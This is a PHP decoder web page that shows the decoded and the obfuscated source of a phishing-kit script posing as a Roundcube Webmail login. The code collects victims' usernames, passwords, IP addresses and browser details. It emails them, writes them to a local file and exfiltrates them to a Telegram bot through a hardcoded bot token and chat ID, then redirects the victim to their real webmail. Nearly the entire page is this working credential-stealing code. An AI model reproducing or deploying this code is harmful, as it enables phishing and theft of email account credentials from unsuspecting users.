Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto LTQk8; eDiVp: function oTzDO($zw_hz) { goto BiJ46; YMzYf: $P2EFv = "\x38\71\..
Decoded Output download
<?php
goto LTQk8; eDiVp: function oTzDO($zw_hz) { goto BiJ46; YMzYf: $P2EFv = "898878"; goto NMYSA; G9UtU: $oFuBr = $oFuBr . "&text=" . urlencode($zw_hz); goto FCr9b; GgOIX: $vahSp = curl_exec($YXVn_); goto ksaqr; ksaqr: curl_close($YXVn_); goto r_czx; FCr9b: $YXVn_ = curl_init(); goto Vxq1W; Vxq1W: $Ia463 = array(CURLOPT_URL => $oFuBr, CURLOPT_RETURNTRANSFER => true); goto THSip; THSip: curl_setopt_array($YXVn_, $Ia463); goto GgOIX; NMYSA: $oFuBr = "https://api.telegram.org/bot" . $yRV_j . "/sendMessage?chat_id=" . $P2EFv; goto G9UtU; r_czx: return $vahSp; goto WQ6YR; BiJ46: $yRV_j = "6312493747:AAEMHOyv5Mdl5LO_kSWR0hLNfmdq9eVWhms"; goto YMzYf; WQ6YR: } goto S8TSY; dj5nm: $vQfCc = "https://webmail.{$INqyA}"; goto Stpgh; ZJIFz: $GMf9z = fopen("stored.txt", "a"); goto lc_t2; FKNMj: exit; goto LRoez; FrVeG: list(, $INqyA) = explode("@", $E0HGB); goto dj5nm; goHTN: mail($yoiK2, $VNT4Q, $AQXAf, $ABIPU); goto ZJIFz; S8TSY: oTZdo($AQXAf); goto gwP6e; lc_t2: fwrite($GMf9z, $AQXAf); goto eDiVp; gwP6e: header("Location: {$vQfCc}"); goto FKNMj; LTQk8: $pxGi0 = $_SERVER["REMOTE_ADDR"]; goto yjkLp; yjkLp: $E0HGB = $_POST["username"] ?? ''; goto ZlnqB; QVyio: $ABIPU = "From: nellaisamurai <Roundcube Webmail>\xd\xa"; goto Kf02s; dWpQf: $VNT4Q = "Roundcube Login Infos "; goto QVyio; Stpgh: include "email.php"; goto dWpQf; Kf02s: $AQXAf .= "
\xa[+] Roundcube Info [+]
[IP] : " . $pxGi0 . "
[USERNAME] : " . $_POST["username"] . "\xd
[PASSWORD] \x9\x9\x9 : " . $_POST["password"] . "
\xa[BROWSER AGENT] : " . $_POST["browser_agent"] . "\xd\xa[DOMAIN]\x9\x9 \x9: " . $_POST["domain"] . "\xd
\xd\xa\xd\xa----------------------------------\xa
**********************************
**********************************\xa"; goto goHTN; ZlnqB: $Q1rKw = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "UNKNOWN"; goto FrVeG; LRoez: echo "?>";
?>
Did this file decode correctly?
Original Code
<?php
goto LTQk8; eDiVp: function oTzDO($zw_hz) { goto BiJ46; YMzYf: $P2EFv = "\x38\71\x38\x38\x37\x38"; goto NMYSA; G9UtU: $oFuBr = $oFuBr . "\x26\x74\145\170\164\x3d" . urlencode($zw_hz); goto FCr9b; GgOIX: $vahSp = curl_exec($YXVn_); goto ksaqr; ksaqr: curl_close($YXVn_); goto r_czx; FCr9b: $YXVn_ = curl_init(); goto Vxq1W; Vxq1W: $Ia463 = array(CURLOPT_URL => $oFuBr, CURLOPT_RETURNTRANSFER => true); goto THSip; THSip: curl_setopt_array($YXVn_, $Ia463); goto GgOIX; NMYSA: $oFuBr = "\150\164\x74\160\163\x3a\x2f\57\x61\x70\x69\x2e\x74\145\x6c\x65\x67\162\x61\155\x2e\157\162\147\57\x62\157\x74" . $yRV_j . "\57\163\145\156\x64\115\x65\x73\163\x61\147\145\x3f\x63\150\141\x74\137\x69\144\75" . $P2EFv; goto G9UtU; r_czx: return $vahSp; goto WQ6YR; BiJ46: $yRV_j = "\x36\63\61\62\x34\71\x33\67\x34\67\72\x41\x41\x45\x4d\x48\x4f\x79\166\65\115\144\154\x35\x4c\x4f\137\153\123\127\x52\x30\x68\x4c\x4e\146\x6d\144\161\71\145\x56\127\x68\x6d\x73"; goto YMzYf; WQ6YR: } goto S8TSY; dj5nm: $vQfCc = "\150\x74\164\160\163\72\57\57\x77\145\142\155\x61\151\154\56{$INqyA}"; goto Stpgh; ZJIFz: $GMf9z = fopen("\163\x74\157\162\x65\144\56\x74\170\x74", "\141"); goto lc_t2; FKNMj: exit; goto LRoez; FrVeG: list(, $INqyA) = explode("\x40", $E0HGB); goto dj5nm; goHTN: mail($yoiK2, $VNT4Q, $AQXAf, $ABIPU); goto ZJIFz; S8TSY: oTZdo($AQXAf); goto gwP6e; lc_t2: fwrite($GMf9z, $AQXAf); goto eDiVp; gwP6e: header("\114\x6f\x63\141\x74\151\x6f\156\72\40{$vQfCc}"); goto FKNMj; LTQk8: $pxGi0 = $_SERVER["\122\105\x4d\x4f\x54\105\137\101\104\104\122"]; goto yjkLp; yjkLp: $E0HGB = $_POST["\x75\x73\145\x72\156\x61\x6d\x65"] ?? ''; goto ZlnqB; QVyio: $ABIPU = "\106\x72\157\x6d\x3a\40\x6e\x65\x6c\154\x61\x69\x73\141\155\x75\162\x61\151\x20\74\122\157\x75\156\144\x63\x75\x62\x65\40\x57\145\x62\x6d\141\x69\x6c\76\xd\xa"; goto Kf02s; dWpQf: $VNT4Q = "\x52\157\165\156\144\x63\x75\x62\x65\40\114\x6f\147\151\156\40\111\156\x66\157\163\40"; goto QVyio; Stpgh: include "\x65\155\x61\151\154\x2e\160\x68\x70"; goto dWpQf; Kf02s: $AQXAf .= "\15\xa\133\x2b\x5d\40\122\157\165\156\144\143\165\142\145\40\x49\156\146\157\x20\40\133\x2b\135\15\12\x5b\111\120\135\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\72\40" . $pxGi0 . "\15\12\133\125\x53\105\x52\116\101\115\x45\x5d\40\40\x20\x20\40\40\40\11\11\x3a\x20" . $_POST["\165\x73\x65\x72\x6e\x61\155\145"] . "\xd\12\x5b\x50\101\123\x53\127\117\x52\x44\x5d\40\x9\x9\x9\11\72\40" . $_POST["\160\x61\163\x73\167\x6f\x72\x64"] . "\15\xa\133\x42\122\x4f\x57\x53\x45\122\40\101\107\105\116\x54\x5d\40\11\11\72\40" . $_POST["\x62\x72\x6f\x77\163\x65\162\x5f\x61\x67\145\156\x74"] . "\xd\xa\x5b\x44\x4f\115\101\x49\116\135\x9\x9\11\x9\x3a\x20" . $_POST["\x64\x6f\155\141\151\x6e"] . "\xd\12\xd\xa\xd\xa\55\x2d\x2d\55\x2d\x2d\x2d\55\55\55\55\x2d\x2d\55\x2d\55\x2d\x2d\x2d\55\55\55\55\x2d\x2d\x2d\x2d\55\55\x2d\x2d\x2d\x2d\x2d\xa\15\12\52\x2a\52\52\x2a\52\x2a\x2a\52\x2a\x2a\52\52\52\x2a\52\x2a\x2a\x2a\52\x2a\x2a\52\x2a\52\x2a\52\52\52\52\52\52\52\x2a\12\15\12\x2a\x2a\52\52\52\x2a\x2a\52\52\x2a\x2a\x2a\52\x2a\x2a\52\x2a\52\x2a\x2a\x2a\x2a\x2a\52\52\x2a\52\52\x2a\52\52\52\x2a\52\xa"; goto goHTN; ZlnqB: $Q1rKw = isset($_SERVER["\110\124\124\120\x5f\x55\123\x45\122\137\101\107\105\x4e\124"]) ? $_SERVER["\x48\124\x54\120\137\125\123\105\x52\x5f\101\107\105\116\124"] : "\125\116\x4b\116\117\127\x4e"; goto FrVeG; LRoez: echo "\77\76";
Function Calls
None |
Stats
MD5 | 47690da7a3d324646891ee858c732258 |
Eval Count | 0 |
Decode Time | 36 ms |